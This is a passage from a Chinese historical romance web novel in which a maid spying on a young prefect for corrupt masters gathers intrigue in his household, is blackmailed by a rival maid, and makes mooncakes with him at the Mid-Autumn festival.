见状,陈瑶嗤笑一声:“真是一群没用的废物!真不知道我父亲那脑子怎么想的,送你们两个废物过来。一点正事不干,只顾着打架。”
“奴婢有在接近郎君,只是…只是…”许欢跪在地上,委屈地解释道,“那郎君根本不喜欢别人靠近,奴婢每次单独找郎君都被拒绝了。”
陈瑶玉指轻揉着额头,她根本不想听这些借口,愈听愈发觉得陈禹送来的丫鬟都是些没用的东西。
而温玉也察觉到这点,试探地问:“敢问娘子,是想要打听郎君做什么事吗?奴婢有法子接近郎君。”
果然,陈瑶紧蹙的眉头舒展开来了些,有些意外道:“你能接近郎君?”
温玉点头:“奴婢接了伺候郎君研磨的活,桌上的公文都能见着。”
“果真?”陈瑶微微笑了,俯下身,用手掐住温玉的下巴,“没想到才几年未见,你容貌就愈发水灵,难怪我父亲要送你来。”
“再怎么长,也比不上娘子的仙姿。”温玉恭维道,“娘子,何不说说你来这是为了什么,奴婢好为你解难。”
陈瑶这番突然出现在刺史府,必然不是特地为了找她和许欢的茬。
那只有一个可能,赵县令出了什么事,需要她们帮忙解决。
如若这次真替陈瑶解了难,那么在陈禹那边,就不会像上次那样再急切地逼迫她爬床了。
“少用些甜言蜜语来哄我!”陈瑶掐着她下巴的手更加用力了些,“你只需要将未来几日张清时要做的事情告诉我即可,其余的你不需要知道!”
“嗯……”
温玉应声,陈瑶心思深,竟然什么也不肯告诉她,看来赵县令这次摊的麻烦够大。
随即,陈瑶松开手,起身冷冷道:“后几日便是中秋佳节,能传信者我许她取消贱籍,一辈子荣华富贵。不能者,我就不妨告诉刺史府有你们两这样的卧底在,听明白了吗?”
“奴婢明白!”
温玉和许欢齐应声后陈瑶端起衣袖,缓步朝张清时房走去。
陈瑶不可能来单独找张清时,这说明,书房中,赵县令也在。
温玉眼珠一转,起身就要去偷偷跟上去。
许欢却一把拉住了她:“温玉,你要干嘛去?”
“你想活命吗?”温玉怼道,“如果想活命就不要扯着我。”
话音一落,许欢识趣地松开了温玉的裙摆,她知道温玉比她有本事,比她聪明,是能够帮到娘子和主君。
但她也想活命,也想荣华富贵,便悄声道:“我想跟你一起去!”
11. 告密者
对上许欢那双可恨又执着的眼眸,温玉知道自己拗不过,于是选择带上这个累赘一起。
两人都熟悉书房的路,虽刚有些耽搁,但偷偷摸摸地走另一条小路就能赶上。
来到书房周围也恰好看见陈瑶正一步步上了台阶,推书房的门。
门从里被推开,露出一条窄窄的缝隙,刚好看见里面滑过几件裙摆的颜色,有红的,棕的,蓝的。
红色是张郎君的官府,蓝的是徐管家的衣服,而这棕色……
温玉还在猜测,许欢已经在一旁说出了答案:“是赵县令,这是他最常穿的一件棕色衣衫,绣着云雷纹,还带着金边。”
果然如温玉所料,赵县令也来了。
如果想打探陈瑶想要的消息,那必然得清楚他们来的目的。
温玉大着胆,二话不说直接走到门边。
午后,没有正阳,也不用点烛火,门边映照不出人的影子。
所以温玉更大胆了些,直接将耳朵贴向门边。
里面的声音才传清楚了些。
是赵县令的叹气声:“在我所管辖的俞元县死了这么多人,我可真是揪心啊,张郎君,你能帮忙看看到底是什么人能在地上这么为非作歹啊!”
赵县令一语落下,等了很久都没有回应。
急得他声音更大了些:“郎君,你要是为我做不了主,那我可就上报给更上面了。”
接着就是杯盏退换的声音,一会儿,张郎君悠然的声音才传来:“徐管家,你怎么看?”
徐管家:“依小的之见,只是些匪徒伤人,当不了事的。”
赵县令大怒:“你……你……!”
再接着,就是杯盏碎地的声音。
氛围有些剑拔弩张,温玉感觉里面的人马上要出来了,便赶紧撤离,转头往外跑去。
另一侧偷望的许欢一脸疑惑,忙追上去问:“温玉,你听到什么了?”
温玉刚要开口又有些迟疑。
赵县令所管辖的俞元县死了人,请张郎君帮忙调查,理所应当。可赵郎君和徐管家的态度,他们漠不关心。
虽赵县令品性不佳,但两者为民态度却是大相径庭。
难道说张郎君不是个好官?
温玉脑海里慢慢复现出张郎君的样子,他大都时候都是待人温和的,无论高低贵贱,都是平等的、十分有礼貌的态度。
这样的人,为何对百姓的死漠不关心呢?
温玉脑子有些乱,就随口回了句:“屋内好像是在吵架,我没听清。”
“你也不过如此嘛,温玉。”许欢停下脚步,两手叉腰地喊道,“就你这样,我们俩都会死在中秋节的!”
温玉脚步也停了下来,是啊,他是不是好官跟自己也没半毛钱关系,她要的是张郎君的行踪和能够复命就行。
于是她转了身道:“这会子陈瑶娘子应该走了,徐管家和张郎君应该会事后议论,我再去打探,你就不要跟过来了。”
随即,她利落干脆地又朝书房方向回去。
陈瑶和赵县令应该是气着走的,以至于书房前这两扇大门还是大敞着的。
温玉走上前,顺势关上一侧的门板。
“温玉?”
一缕倩影忽而出现,让屋内人都稍有些惊讶。
“你在这做什么?”徐管家严肃地质问道,这是他第一次见温玉这么唐突地出现在郎君书房里。
温玉行了一礼,心中不虚地答道:“回管家,我应了郎君的差事,每日午后替郎君研磨的。”
“噢!我都忘了这事!”徐管家拍了拍脑门,想起之前张郎君有吩咐过。
不过先前他们在招待客人,她不来,但偏偏人走了这会才来。
人来的有些蹊跷,心生疑虑的徐管家把目光投向张清时,只见张清时平静地晗首,他顿时领会道:
“奥,我还忘了一件事,郎君要我去采购后几日的月饼呢,我得去算账,温玉,你就留在这继续伺候郎君吧。”
说完,徐管家就从温玉身边绕过,温玉去扶另外一块门板的手臂微微僵住。
不是,徐掌柜你走了,你们不讨论,我窃听什么?
温玉开始有些懊悔自己太急于求成了。
“温玉,过来。”
张清时回到座位上,看着门边慢慢移动着门板的少女,自然知晓了她的心思,便主动唤她过来。
而在徘徊的温玉只能应声,悻悻地关上门徐徐走了过来,问道:“郎君,我们今日学什么?”
张清时支起下巴,思衬了一番:“依你练了这么久的笔力,我教你画芙蓉如何?”
没想到他还记得自己要画芙蓉。
温玉点头“嗯”了一声,照往日般走到他桌边。
等他起身往后退了一步,温玉才站到他的身前。
她离桌前很近,却发现桌上有好几张张郎君写过的公文。
以前他都会折起来,铺张信纸的。
“抱歉,忘了收拾。”
身后轻和的声音一落,男人如青松般清冽的气息靠近,接着一只手从她右手边身出来,随意挑拣着几份公文朝上摆放在桌子的另一侧。
根本没有收起之意,而且只要温玉认真看,都能清清楚楚看到上面的字。
他对自己这么放心吗?
还在温玉分心之时,桌上已铺了张新纸,张清时还给她递了只细毛笔过来。
温玉握住,张清时就伸手握住上方带着她画了起来。
张郎君的书房的侧窗是正对着后院的芙蓉花。
所以张清时带着她画也是侧着画。
所以,温玉能侧着看见他的眉宇、他的下颚,与窗台外娇艳的芙蓉相交融。
从温玉的视角看过去,他已然是画的一部分。
难怪会有“花面”郎君的称号。
但每次张清时教导她时很认真,只会专注于笔下,不会关注其他。
也不会关注温玉学了进去没有。
所以在再三确认张郎君的目光仅在纸上和窗台流转后,温玉将视线从郎君的侧脸挪开,偷偷投射在放在侧边的公文上。
学字进度很慢,看着公文上的字,温玉只能一个一个识别,然后努力地连贯成一句话。
“俞元县死伤五人,恐有匪患,特派官兵对全县搜罗,直至搜出罪犯。”
认出这一段话来,温玉一惊,手中的笔也跟这抖动了一下。<
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已描绘出大半的芙蓉花上也无法幸免地落重了一个很重的墨点。
温玉有些懊恼,毁了郎君这一幅画。
但身后的张清时轻描淡写道:“今日若没心思学,也不用勉强。”
温玉抿了抿唇:“抱歉,郎君,扰了您的兴致。”
“无妨。”张清时松开笔,看了一下窗外,“天色不早,你回去歇息吧。”
“是……”
温玉转身,看见张清时背着手站立在窗边,在落日下稍显落寞的背影,心中愧疚顿时更甚。
郎君那么喜欢芙蓉,竟被她给毁了。
于是她拿走桌上那张画毁的画离开,这下不至于郎君再“触景伤情”了。
从书房离开,温玉去厨房吃了些吃食后才回到从上次受罚以来一直住的屋子。
不仅因为这里比回西院近,还因为这里安静,开了个小小窗子,温玉还能看见晚上的几颗星星。
一回到屋内,温玉就躺在床上。
她感觉很奇怪,但感觉不出哪里奇怪。
中午刚听他们交谈对百姓之死漠不关心,现在却居然要派官兵去捉拿罪犯。
表里一套,背里一套?
温玉摇摇头,郎君一直以来都是言行一致,不是这样的人。
那……
温玉翻了个身,突然想到,午日说当不了事的是徐管家,但根本不是张郎君啊!
张郎君原来是心系百姓的,是个好官!
温玉心中替张郎君辩解成功,心底莫名闪过一些喜悦。
她把头半蒙在被子里,想着现在信息打探的差不多,等后日中秋告个假,她就把这个好消息传递给赵县令。
*
二日,秋天的季节越过,秋风越甚,不仅是枯叶,树上的几朵花也被风吹落了下来。
温玉从捡枯叶,开始捡起了落花。
往昔开得红娇娇的花朵坠落到地上,染了尘埃,灰扑扑的,以至于温玉捡起来都有点怜惜。
但徐管家说,可以将花埋在土壤里,静待明年,树上又能开出一样鲜红的花。
这是落花存在的意义。
今日的落败,是为了更好的绽放吗?
温玉还不太懂,小心翼翼地捡起落花,就算是落入凡尘,也是得好好对待。
这边在仔仔细细捡着,许欢就缠了上来:“昨日,你可有打听到什么吗?”
温玉是不愿同她讲得明白,只小声道:“中秋节你同我一起出去,我们一同告诉赵县令。”
毕竟消息是自己辛苦得来的,能带着许欢一起,已经算是她大度了。
可许欢却觉得温玉是在像防贼一样防着自己:“不行,我怎么知道你有没有骗我呢?”
“再说了,陈禹才是你的主君,赵县令是我的主君,汇报也应该是由我来!”
温玉不屑道:“那有本事,你自个去取消息。”
“温玉!!”许欢又要发作去踢温玉的竹篓,好在温玉眼疾手快,及时撤离了。
而许欢用力过猛,没有落着点,直接来了个平地摔,还惹了周围雨燕她们的嗤笑声。
许欢愈发恼怒:“温玉,你等着,我们走着瞧!”
12. 告密者2
许欢扔下一句“走着瞧”后,连活都舍弃不干,直接一路来到温玉之前住的破旧小屋。
之前她有见过雨燕整天提个食盒到处走,起初还以为她也是对郎君有意思,便偷偷跟过来,没想到她原来是给温玉送吃的。
可真是人人都向着她。
望着那破旧小屋,许欢一点也不稀得过去。因为在每个府中,都有约定俗成的规矩,那就是贱奴只能住最破最差的房子。
但一想到温玉瞒着自己很多事情,还得了郎君和陈禹的眼,现下也要得赵县令的眼。
她就咬着牙踏进了这个破旧小屋。
这屋子从里到外都是破的,门破窗也破,屋内还仅有一张单木床和木桌。
温玉衣服也仅能叠在木桌上。
“温玉,你这辈子也就只能这样了。”
许欢冷嘲一声,开始动手翻她的被褥、床单、枕头,就连床底下也不放过。
但终无所获。
“这贱人,到底把东西藏哪了?”
许欢两手叉腰,再次扫视了整个破屋子,屋子这么小又简陋,没想到东西倒藏得严严实实。
忽而她再次把目光投射到那堆叠有秩序的衣服上。
该不会被这贱人藏在衣服里吧?
随即,许欢嫌恶似的开始拨弄温玉的衣服,什么也没发现,倒发现一张画纸。
是张被画残了的半只芙蓉花,但画的半边却还被人用胭脂抹了个人影。
这胭脂用得是最差的,虽在纸上显得斑驳不堪,但许欢还是能辨别那是一个男子的身影。
“好啊,温玉,可总算让我找到把柄了!”
许欢嘲弄道,将画纸收起来起身去找温玉。
刚好临近中午,温玉她们干完上午的活都会去厨房弄点吃食。
许欢在路上就撞见了温玉。
一见到温玉,她就得意地掏出那张纸来,朝她显弄。
果然温玉就急急地抛下雨燕和其他丫鬟,朝许欢跑来。
“还我!”
温玉想抢过那张纸,可偏偏许欢不让,将纸高高举起,还露出一个恶劣的笑容:
“温玉啊!短短几天,没想到你就觊觎上了郎君?这要是被郎君知道了,你说你还能在这好好待着吗?”
那画,其实是半夜温玉睡不着,又想起张郎君侧身带着她画芙蓉的样子,偷偷用从陈府里带的胭脂画的。
没想到反而还成了许欢手中的把柄。
“我对郎君无意,你凭什么说那画上画的是郎君?”温玉辩解道,她画技那么差,谁能看出来是谁。
许欢冷哼一声,继续将那画纸扬起来:“那行,那我就给陈禹看,说你在这府中没有完成接近郎君的任务,反而在这私会外男!”
这件事告诉郎君倒没什么,若要真恶意加点什么告诉了陈禹,那温玉可就难逃折磨。
温玉只得收回手,冷冽的视线扫在许欢的脸上:“你想要什么?”
“我想要你从郎君那打探的消息!”许欢举着画纸耀武扬威道,“还有明日中秋,只允许我去,不允许你去。”
“你去?为什么不能一起去?”温玉反问道。
许欢将画纸刺弄着温玉的脸庞:“赵县令是我的主君,你就不要惦记了。但你放心,我一定会在县令和娘子面前替你说好话的。”
温玉咬牙,扯住画纸:“说话算话!”
许欢贴近,嘴角上扬:“那当然。”
无奈之下,温玉还是将郎君不日会派官兵搜城之事告诉了许欢。
许欢嗤笑了一声,就将画纸当垃圾似的随意扔下:“温玉呀温玉,你始终还是输我一头!”
温玉没说话,默默地捡起那张纸,再将它撕得粉碎。
假如许欢能把消息传给赵县令,那就代表她们留在刺史府是有用的,赵县令和陈禹在后面一定还会有用到自己的地方。
这次不与许欢争应该也没关系。
温玉在心底这样安慰自己,随后再将粉碎的纸条如数埋在地下,在惋惜埋葬的同时,内心也希望有朝一日能够真正地去画出一朵完整的芙蓉花来。
*
午饭过后,温玉又来到书房,轻叩门板,里面没有响应。
难道郎君出去了?
温玉推门径直进去,照以前一样搬个小板凳当书案,又去郎君书桌上取张新纸。
来到桌前,温玉取新纸的动作有些迟缓。
郎君不在这,房门又没上锁。
那她能不能获取更多的信息?
取新纸的动作暂停,她立马开始在书桌翻箱倒柜似得寻了起来。
翻来覆去都是些已经获批的公文和奏章,就连昨日郎君新写的几篇公文一张都不见。
难道指令已经发布下去了?
温玉心存疑惑时,门外出现了谈话声,她立即将所有物品物归原主,迅速取了张新纸跪下练笔。
“郎君,明日中秋,府中要不要庆祝一下?”
“徐管家,明日中秋重在团结,给全府上下都放一天假吧。”
“好,那郎君您呢?”
“我无妨。”
“好,我这就去安排!”
话声止住,张清时推了门进来。
看见温玉规规矩矩地坐在地上练字,有些好奇便凑过来一看。
笔力不够,虽然不是鬼画符了,但还有点歪歪扭扭。
“练的不错!”
张清时出声,温玉知道是他,但还要刻意装作一副被吓到了的样子:“啊!郎君是您回来了!”
张清时不知道是因为她心虚还是滑稽的模样轻笑了一声:“除了你,没有人敢擅闯我的书房。”
温玉呆住:“郎君叫我每日都来这,我以为郎君不在这也可以来的。”
“无妨。”张清时指了指纸上一个错别字,那温玉纸上写得第一个,“你本心只是来求学,而不是为了其它,这倒无妨。”
温玉心虚地用毛笔将它抹掉:“郎君,奴婢以后您在我就在,不在我就在小破屋里练字。”
“怎么不回偏房?”张清时问,“和她们相处的不愉悦吗?”
“没……”温玉抿了抿唇,“奴婢也喜静。”
“那这么算来,我们还是同类人。”张清时起身回到书桌前,给自己沏壶茶,“温玉,明日中秋我打算给全府人放个假,你有什么安排吗?”
安排?
许欢不允许温玉一同前去,母亲也在陈府,她也不能大张旗鼓地回陈府去。
只能道:“郎君,我明日不回家中去,想继续留在这学字。”
“为何?”张清时吹散茶杯前的热气,抬眼看向眼前跪坐的女子。
她一袭单薄衣衫跪坐在地上,窗台透过来的光如数照在她的肌肤上,隔着薄衫都能透着白和光亮。
张清时忽而想起那日自己咬伤了她的肩膀,不知道好还是没好。
“家在山里,离得远,不方便回去。”温玉笔尖顿住,长睫落下,本就清冷的外貌,更显秋殇。
“咳。”张清时收回眼神,“我可以多准你些假,母亲重病缺钱,你也可以找徐管家多支些工钱。”
墨水滴落,温玉眼眶中突然就蓄满了莹光,“郎君有所不知,我若回去,家中人必以为我是被郎君赶出来的,家中的大舅就会把我卖给年近半百的人做妾,或者是卖去青楼……”
说着说着,豆大的泪珠从漂亮的眼眸中滑落,在光影下,显得滚烫。
张清时就不再追问,提议道:“那中秋你就留在家中,你可以写封书信告知你母亲安好,我会叫徐管家帮你寄出的。”
温玉收住眼泪,哽咽道:“真的?”
张清时点了点头,他虽信丫鬟等人都是苦命之人,但温玉不同,她是卧底。
中秋节日则是她传递信息最好的时候,她要传递什么内容,她要传递给什么人,他都要追查清楚。
温玉擦干眼泪,换张新纸,提笔开始写起来。
写到半路时又泪水吧嗒吧嗒地滴落,模糊了墨迹:“郎君,我从小不识得字,没出家门,唯一一次出过家门,还是被卖给人牙子,不知家的位置叫什么,也不知道怎么写。”
张清时一顿,这下他可有点分不清她说的是真是假了。
但若留在府中,尚不能追查底细。
如果她不愿意,那他就带她出去。
于是,张清时起身,从袖里取出一张手帕递给温玉,柔下语气:“以后总会认得的
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,恰好我明日中秋也是一个人过,你要不和我一起过?”
“啊?”
温玉转身,眼眸中还闪着珍珠般的亮光。
*
从郎君书房中出来,去往厨房的路上,又遇见了雨燕她们。
雨燕兴致冲冲地拉温玉过来:“温玉,好消息,管家说明日中秋要给我们放一天假呢!”
温玉点点头:“挺好的。”
“是啊,那我就能回去看我的父母和我兄长了。”雨燕陷入美好的畅想中,“父母会给我做世界上最美味的月饼,阿兄会带我做灯笼,猜灯谜呢!”
“灯笼?我也会做。”阿莫也跟着说,“中秋那日我可以和你阿兄比试一下吗?”
“当然可以呀!”雨燕笑道。
许欢两手抱胸攀比道:“你们这都太庸俗了,中秋节定是要去下馆子里品一下桂花酒,尝一下桂花糕,赏月亮才是最有雅致的。”
阿喜小声说:“我阿娘说了,馆子里做的都没有家里做的好吃。”
“你和你娘下过馆子吗?就在这乱说!”许欢冷嘲一声,仰起头颅,一个人吭哧吭哧地往前走。
“别管她!”雨燕在背后冲她比了个鬼脸,转头就问起温玉,“温玉姐姐,你中秋节怎么过呀?”
“我就留在府中。”温玉垂眸,她是家生奴,向来是主子们吃什么,她们跟着吃剩下的而已,和无数个平常一样都没什么热闹活动。
现如今佳节,连回去陪伴母亲也是极为奢侈的一件事。
雨燕也察觉到温玉眼底的情绪,摇晃着她的手臂道:“要不,你就和我一起回家吧,我阿兄也长得挺帅的,如果他明年科考高中的话,说不定能把我和你一起将奴籍赎回。”
“这……”温玉扶了一下额头,雨燕的心思太明显了,她只好婉拒道,“你阿兄科考在即,还是专心致志备考吧!”
“哎,希望明年他能考上吧。”雨燕泄气地踢了一块路上的小石子,“其实去年差点就考上了,只是出了一点小意外。”
“考上了还有意外?”温玉不解地问。
雨燕停下脚步,悄声道:“其实今年乡试放的榜上就有包括我哥的名字,但听说其中我们县上一位也考上的秀才在放榜之日就被人暗杀了。然后县令就诬陷参加科考且同县之人都有嫉妒贤才之心,便通通取消本次考中名额。我和家人都恨死这位县令了。”
“这不就有些荒唐了吗?”温玉蹙眉道,“谁杀的,县令抓人便是,何必要害这些苦读寒窗十几年的学子再辛苦一年呢?”
“对啊。”雨燕愤愤不平道,“其实我听说啊,其实是县令想推的人没上榜,就诬陷其他学子心术不端,以期明年再将自己的人给推上去。不然,县令说死了人,死者是谁?县令办案细节、办案进展、办案结果怎么通通都没有?”
温玉心中一愣,赵县令是这样的人吗?
忽而她又想起昨日的对话,县令也是说俞元县死了人,要请刺史帮忙查案。
也没说死者是谁、死者何样、县府查案进展,县府查案结果,以及为什么需要刺史府帮忙查案,通通都没有说。
而县府能做的事却推脱给刺史府来干,这背后有什么阴谋也不得而知。
再且,陈禹和赵县令的做事风格温玉也知道,都是利用一切手段来使利益最大化。
如果有人能助他们,他们会共享所有资源。
否则,谁挡谁死!
所以刺史府肯定也是意料到有些不妥所以不接。
那为什么张郎君还要写这样的公文呢?
温玉仔细回想,那份公文的异样,好像根本没有盖公章。
没有盖公章,话就是不奏效的。
如若被有心者看到,告诉了赵县令,他就以为刺史府会查案,进而做好套等着张郎君下。
但张郎君只要背地里不做或是观察后反其道而行之,那吃瘪的就是赵县令。
温玉一脸恍然大悟,还好自己没有去传递信息过去。
真要传了,赵县令和陈禹必然会找自己麻烦。
不做倒比做坏事要好的多。
至于许欢嘛,温玉抬眼冷漠地看向前面走姿张扬跋扈的女子。
那是她自己要选的。
13. 中秋节
佳节一到,府内的人基本都回了家,惹得刺史府更显得萧条了些。
温玉还在破屋中洗漱整理衣裳,今日郎君说要和她一起过节,她心中还是有些期待的。
像往常那般整理好后,温玉就前去郎君的书房里等候。
不过路过假山旁边的一处池塘时,温玉就突然顿住了脚步。
简单的发髻,干皱的衣衫,温玉透过碧绿的水面陡然生出了担忧的心思:她这样同张郎君出街会不会丢郎君的面子?会不会让郎君被人说闲话?
温玉摇摇头,继而跑去找徐管家,兜兜转转一圈后,发现徐管家正在给库房落锁。
温玉开口叫住:“徐管家,等一等!”
“有事?”徐管家上锁的手停了下来。
温玉喘口气道:“是这样的,今日郎君叫我与他上街,我想从库房里借些干净衣裳。”
徐管家若有所思地对着温玉的衣着打量了一番。
先前郎君府内都是些嬷嬷,过年过节会给她们发钱置办些衣裳。
这些新入府的丫鬟,除了刚入府时给办了几件绿衫外,就再也没有了。
她们干活,身上穿的衣裙经常会沾染些灰尘,反复洗来洗去,的确是有些皱皱巴巴,出去的确不是很得体。
于是,徐管家还是打开了库房,嘱咐道:“先前给丫鬟们选衣衫时,应该留了几件样,你可以选一选。”
“好!”
温玉欣喜地走了进去,库房内杂物较多,在最角落的地方堆放了五件款式的衣服。
鲜绿的、深绿的、浅蓝的、深蓝的,这些都是温玉她们现在正穿的。
唯独最底下的那件白裳,估计是怕干活沾灰明显,所以就被管家给抛弃了吧。
温玉不假思索地就挑了这件白的。
挑完正要出去,却发现旁边的货架上有几顶挂着轻纱的帷帽。
温玉还没见过男子带帷帽,不过张郎君挺拔的身姿,穿上白裳,带着白色帷幔,应该会像出尘的仙子那般俊秀清贵吧。
“温玉,还没好吗?”
屋外传来徐管家的催促声,打断了温玉的遐想。
于是她才急急忙忙地将帷帽放在白裳底下,一起给带了出去。
徐管家瞧她手里一堆白的,也没瞧出个什么异样,就落了锁:“今日,郎君就交给你了,你仔细点照看。”
“好。”
温玉满口应下,等管家离开之后,就一溜烟地跑回自己的小破屋,换上新衣裳,换上郎君的帷幔。
男士的帷幔有些大,温玉一带上,轻纱直接盖到了脚踝处。
温玉觉着这样也好,能不让外人不看见自己最好。
打扮完,屋外却传来了敲门声。
紧接着清润的声音响起。
“温玉,你起床了吗?”
是郎君的声音,温玉屏息,莫名激动地想要上前开门。可谁知,关键时刻,轻纱绊住了脚,她意外地摔倒在了地上。
“温玉,你没事吧?”
显然外面也听见了她的摔倒声。
温玉忍住痛,起身道:“没事郎君,是现在就要出发了吗?”
“不是。”门口声音停顿了一下,“嬷嬷走了,我怕你饿,给你做了面条。”
“啊?”什么时候会有主子给丫鬟做饭,这还是温玉的头一遭。
听着门内的质疑声,门外声音有些低下:“可能不太好吃。我主要是做给我自己的,但想到你应该也没吃饭,就顺带一起做了。如果不想吃,也没关系的。”
“奴……奴婢想吃。”
郎君亲自做饭,温玉想都不敢想有的事,哪还敢拒绝。
“那好,你准备好了就来厨房吧。”
“嗯。”
良久,温玉感觉脸上蓦然地发烫。
怎么回事?生病了吗?
温玉轻轻拍了拍自己的脸庞,待脸部热温散去,便褪下衣裳,换了早上那件绿的,然后去厨房找张郎君。
走至厨房,厨房有一块大大的方桌,那是嬷嬷和丫鬟们会在那吃饭的位置。
如今却坐了张郎君。
温玉非常惊讶:“郎君,您是要同我在一张桌上吃面吗?”
“这怎么了吗?”张清时停住夹面的手,“我小时候也是同仆从们一起在桌上吃饭,我从不介意这些事情。”
“嗯……”
有郎君的解释,温玉这才放宽心来到桌前,在郎君的对面坐了下来。
郎君做的是宽汤面,汤中只有面和水,并无其他,看样子,郎君是真的不会做饭。
但温玉还是拿起筷子尝了一口,意料之内的有些淡。
不过淡则淡,但抬眼往见郎君清秀的眉宇,这碗面好像是不一样的淡味。
“好吃吗?”
张清时直勾勾地望着吃面的温玉,像是一个等待被夸奖的小孩。
“好吃!”
温玉觉得不是谎言,因为有些面别人做了就是难以下咽,但郎君做的,很入胃。
“谢谢!”
坐在对面的郎君浅浅一笑,温玉瞬间觉得这面条更好吃了些。
“温玉,你说你家住的很远,那你是哪里人?”张清时吃得快,已然吃完,开始闲着与她聊些家常。
可这一问,却难住了温玉,她没了解过这么多地史文化。而且郎君,博才多学,她随便一说,都很有可能被揭穿。
“郎君,我……”温玉犹犹豫豫,“我家住在山沟里……”
此话一出,温玉都能明显感受对方脸和手都有些僵住。
但他还是执著:“温玉,我问的是哪个县城,不是哪座山。”
“奥奥。”温玉心虚地低头扒面,脑子一直在想要怎么回答这个问题。
忽然,灵光一闪:“我们那都是用方言讲的,叫heidu县。”
说完,温玉的脸都要低到碗里面了。
“he……du?”
张清时面对方言也是一副脑汁绞尽的样子,百思不得其解。
“郎君,你为什么不回家呀?”温玉赶忙把话题扯过去,再聊就要露馅了。
“咳。”张清时清咳了一声,“家在京城,回去路程较远。”
“噢噢,郎君,你上面那位不愿意给你多准些假吗?”温玉问道。陈家没人当官,节假日的时候陈府都会大摆三天宴席。
可看张郎君这样,难道当官的还没有经商的自由吗?
张清时解释道:“刚到任,要处理的公务很多,不好请那么多的假。”
“噢~”温玉又问道,“那郎君的家人不会来看望郎君吗?”
说到这,张清时的表情开始有些不自然:“家中人也有各自的事情要做,没必要太过折腾。”
“奥~”
温玉张嘴又要问时,张清时立马收起碗筷起身道:“温玉,我吃好了,我先去把碗洗了吧。”
“等等,郎君!”
郎君金枝玉叶的,哪能让他洗,温玉起身抢了过来:“您已为温玉煮了面,这碗还是
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我洗吧。”
张郎君点点头:“那午饭?”
“郎君,这事我从小都做惯了,不需要劳烦您。”温玉轻笑道,“您就在桌边晒晒太阳,读读书,赏赏花就行。”
张清时听温玉这么一说,有些不好意思:“我是男子……没有这么娇气的。”
“奥~”温玉眼睛一转,“那等会儿郎君就陪我做月饼吧,我们当午饭吃!”
“好!”
张清时应下,便乖乖地在桌前坐下,沏茶,饮茶。
温玉看了一眼,这才符合她心中玉如君子的模样。
就连洗着碗,也很轻松愉快。
*
洗完碗后,温玉左右扫视了一番小厨房,发现没有面粉,于是去厨房后仓那里拎着一袋新面粉过来。
一袋面粉五十斤重,对于温玉来讲,还是有些吃力,但她依然能拎得动。
只是步伐缓慢,正巧张清时看了一眼,便起身过来帮忙。
温玉有些着急:“郎君,这些事情您不用做的。”
“无妨,搬件物品而已。”
张清时说完,直接将整袋面粉拎起,再拎到桌面上,速度很快,力气很大,但画面颇有“林黛玉倒拔垂杨柳”的感觉。
温玉很是不好意思,让郎君替他干着干那的:“郎君,那剩下来的交给我做吧。”
“不是说一起做吗?”张清时倒不是很介意,撸起袖子,有种跃跃欲试的感觉,“我没做过,但我想试试。”
“好。”
温玉也不好打搅他的兴致,用刀划拉开绳子,指挥他干最简单的活:“那现在就请郎君将面粉倒进面盆里面吧。”
“简单!”
张清时两手捏住面粉袋的两侧,一提一倒,一个用力过猛,面粉哐哐倒了半袋,扬起的面粉灰糊了温玉一脸。
“温玉?”张清时有点想伸手帮她抹开面粉,但出于礼貌又把手收了回来,“我是不是搞砸了。”
“噗——”
温玉一张嘴,面粉就喷了出去,但她还是扬扬手表示道:“郎君,没有,是温玉站得太近了。”
“嗯……”张清时不好意思地挠挠头,随即又端了盆水过来,“要不,先洗洗脸。”
“别!郎君。”温玉吓得后退了好几步,“面粉溶于水,我脸上会成面糊的。”
“那怎么办?”张清时默默地将水盆移开。
“没事!”
温玉走到厨房一处装垃圾的地方,轻拍脸颊,将余粉都抖搂干净后再取捧一汪清水洗脸。
不过洗净后,温玉的眼睫、鬓角、发丝上都还残留些水珠,晶莹透亮,像是珍珠镶嵌在脸上,清新不俗,如出水芙蓉。
张清时见状连忙从袖口中取出一块手帕递给温玉:“擦…擦一下。”
“谢谢郎君。”
温玉莞尔一笑,长睫上的水珠顺着眼角,沿着脸庞滴落,刚好落在帕中。
水珠瞬间在帕子蔓延,浸湿了手指,有一些黏感。
紧接着,手帕被抽走,带走了感觉。
温玉小心翼翼地擦拭,这是与郎君相依的方帕,带着丝丝书墨香,令人沉醉。
“郎君,恐怕我又要扣留您一块手帕了。”
温玉上次染了张郎君的手帕还未还,如今又一条。
“咳。”张清时轻咳了一声,“无妨。”
“嗯。”
温玉将它好生收起。
张清时:“那我们继续?”
温玉:“好。”
14. 中秋节2
精细的活温玉自然是不会再让张郎君干了,而是弄了些核桃仁、花生仁、瓜子仁、杏仁、芝麻五种果仁,再加上枣泥,全放进捣药罐中,然后推给张清时:
“郎君,这力气活,我就不同您推脱了。”
“好。”张清时有活干就特别开心,手抓起木杵就用力地将五仁捣碎,干得十分起劲。
温玉看着郎君这样,也不闲着,往面粉里添油加水,一点一点地揉成面团,然后放置一旁让它醒一会儿。
后往案板上再添些油,加点面粉,混合成油酥。
恰好张郎君这会儿也将五仁捣得很碎,温玉顺势与他一起,将馅料捏成一个个小小的团。
好一会儿了,再将醒好的面团和油酥切成一块一块的小剂子,擀成面皮。
一层一层地将小团子包圆了,再按压成饼状,月饼的雏形就出来了。
张清时没做过月饼,看到雏形还很纳闷:“这好似寻常糕点,是我们要做的月饼吗?”
“郎君,还差两步。”温玉神神秘秘地说,“看温玉给你变个戏法。”
接着,温玉手上多了一个像公章的玩意,一个个往饼上戳着,小小月饼就盖上了独有的朱色印记。
再烧柴起炉,把月饼放上面蒸烤。
“郎君,月饼还有一个时辰就能搞定!”
温玉望着小小蒸笼,有点期待月饼出炉后的样子。
“真好,这还是我第一次做月饼。”张清时感慨道,他同样很期待。
不知怎么地,在这个闲暇时间里,温玉想多了解一下张郎君:“郎君是哪里人呀?”
今日得空,张清时也很自然地同她闲聊:“京城人。”
“哇!京城!”温玉张大了嘴巴,“母亲说京城最繁华了,有很多好玩的,好看的。郎君,是这样吗?”
“是吧。”张清时认真回想了一下,“年少时是感受乐趣挺多的,年长了,就感觉没有那么多了。”
“为什么长大乐趣就会少了?”
温玉好奇道,小时候她爱赶蝴蝶,长大了也一样。
“可能是年少时有朋友相伴。年长后各自有各自的事情要做,没办法回到从前了。”
蒸笼里蒸汽慢慢腾升,弥漫在空中,温玉看不清张郎君的神情,也听不懂他的心思。
“那今晚我陪着郎君一起去玩好玩的,找回年少的快乐好不好?”
温玉说这话是有私心的,她没上过街,也没去街上玩过,她想趁这次机会,好好去人世间看一看,不再拘束于这四四方方的院子里。
“好。”
张清时应下,透过茫茫雾气也能看到少女脸上的欣喜与雀跃,天真又烂漫。
*
